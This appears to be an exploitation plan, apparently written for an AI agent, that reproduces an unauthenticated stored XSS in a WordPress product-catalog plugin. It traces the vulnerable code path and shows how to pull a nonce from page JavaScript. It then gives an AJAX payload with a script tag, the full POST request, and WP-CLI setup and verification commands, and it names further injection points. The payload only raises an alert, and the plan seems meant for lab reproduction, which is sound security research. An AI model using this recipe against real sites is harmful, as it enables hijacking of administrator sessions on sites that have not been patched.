Exploitation Research Plan: CVE-2026-57360

1. Vulnerability Summary

CVE-2026-57360 is an unauthenticated stored cross-site scripting (XSS) vulnerability in the eCommerce Product Catalog Plugin for WordPress (<= 3.5.4). The vulnerability exists due to insufficient sanitization and output escaping of order-related metadata (such as customer details or custom form fields) submitted via the "Request a Quote" or "Checkout" forms. When an unauthenticated visitor submits a quote or order, the malicious payload is stored in the database as post meta for the al_digital_orders post type. The payload executes when an administrator views the order details in the WordPress back-end.

2. Attack Vector Analysis

• Endpoint: wp-admin/admin-ajax.php (for form submission) or the front-end page containing the catalog/checkout shortcode.
• Hook: Likely wp_ajax_nopriv_ic_formbuilder_submit or a similar unauthenticated AJAX action used by the plugin's internal form builder.
• Vulnerable Parameter: Fields within the $_POST array associated with customer details (e.g., ic_formbuilder_fields[...]).
• Authentication: Unauthenticated.
• Preconditions: The "Request a Quote" or "Cart/Checkout" functionality must be enabled (which is the default behavior of the plugin).

3. Code Flow

1. Entry Point: An unauthenticated user submits a form on the front-end (e.g., a quote request).
2. Processing: The request is handled by the plugin's form builder. In modules/cart/includes/orders/includes/save-order.php, the save() function is triggered via the ic_formbuilder_before_mail hook.
3. Storage:
   • The save() function extracts data into $ic_formbuilder_filled_fields.
   • It calls ic_update_digital_order_status() (found in modules/cart/includes/orders/includes/verify-payment.php).
   • ic_update_digital_order_status() calls update_post_meta( $order_id, '_payment_details', $payment_details ), saving the raw unsanitized input into the database.
4. Sink:
   • An administrator navigates to Products > Orders and views the malicious order.
   • The details() function in modules/cart/includes/orders/includes/register-digital-orders.php (Line 139) renders the metadata.
   • The plugin iterates through the $payment_details array and echoes the keys and values. If custom fields are used, they are often echoed without esc_html() or esc_attr(), triggering the XSS.

4. Nonce Acquisition Strategy

The form builder requires a nonce for unauthenticated submission. This nonce is typically localized to a JavaScript variable on the product listing or checkout page.

1. Identify Page: Locate the page where products are listed (default slug: products or product-catalog).
2. Create Test Page:

   wp post create --post_type=page --post_title="Exploit Test" --post_status=publish --post_content='[show_products]'
   

3. Extract Nonce:
   • Navigate to the "Exploit Test" page.
   • Use browser_eval to find the localized variable. Based on common patterns in this plugin, check for ic_ajax_object or epc_vars.
   • Command: browser_eval("window.ic_ajax_object?.nonce || window.epc_vars?.nonce") (inferred).

5. Exploitation Strategy

1. Setup: Ensure a product exists and is available for a quote.
2. Request: Submit an unauthenticated AJAX request to simulate a form submission.
3. Payload:

   {
     "action": "ic_formbuilder_submit",
     "nonce": "[EXTRACTED_NONCE]",
     "ic_formbuilder_fields[Customer Name]": "<script>alert('CVE-2026-57360')</script>",
     "ic_formbuilder_fields[Email]": "attacker@example.com",
     "pre_name": "cart_"
   }
   

4. HTTP Request:
   • Method: POST
   • URL: http://[TARGET]/wp-admin/admin-ajax.php
   • Content-Type: application/x-www-form-urlencoded
   • Body: action=ic_formbuilder_submit&nonce=[NONCE]&ic_formbuilder_fields[Customer%20Name]=%3Cscript%3Ealert(%27CVE-2026-57360%27)%3C/script%3E&pre_name=cart_

6. Test Data Setup

1. Create Sample Product:

   wp post create --post_type=al_product --post_title="XSS Trigger Product" --post_status=publish
   

2. Enable Quote Functionality: Ensure product_archive_page_id is set (usually handled by activation).
3. Ensure Order Menu Exists: The plugin registers al_digital_orders. Ensure the admin user has manage_product_settings capability (default for Administrators).

7. Expected Results

• The AJAX request should return a success message (e.g., {"success":true}).
• A new post of type al_digital_orders will be created in the database.
• When an administrator logs into /wp-admin/edit.php?post_type=al_digital_orders and clicks "Edit" on the latest order, an alert box with "CVE-2026-57360" will appear.

8. Verification Steps

1. Check Database: Verify the payload is stored in post meta.

   wp post list --post_type=al_digital_orders --fields=ID,post_title
   # Get the ID of the latest order
   wp post meta get [ORDER_ID] _payment_details
   

2. Verify Rendering: Use http_request as an administrator to fetch the order edit page and check for the raw payload.

   # Use the agent's browser tool to navigate to the order edit page
   # Verify that the <script> tag is present in the HTML response without being escaped to &lt;script&gt;
   

9. Alternative Approaches

• Shortcode XSS: If the [customer-orders] shortcode is used (Line 35 of save-order.php), the XSS may also trigger on the front-end for the user who submitted the order if they are logged in or if the plugin allows tracking orders via a session ID.
• Shipping Label Injection: Inject the payload into the shipping cost calculation if a custom shipping plugin is active, as $shipping_summary['labels'] is echoed raw in shipping_summary() (Line 110 of save-order.php).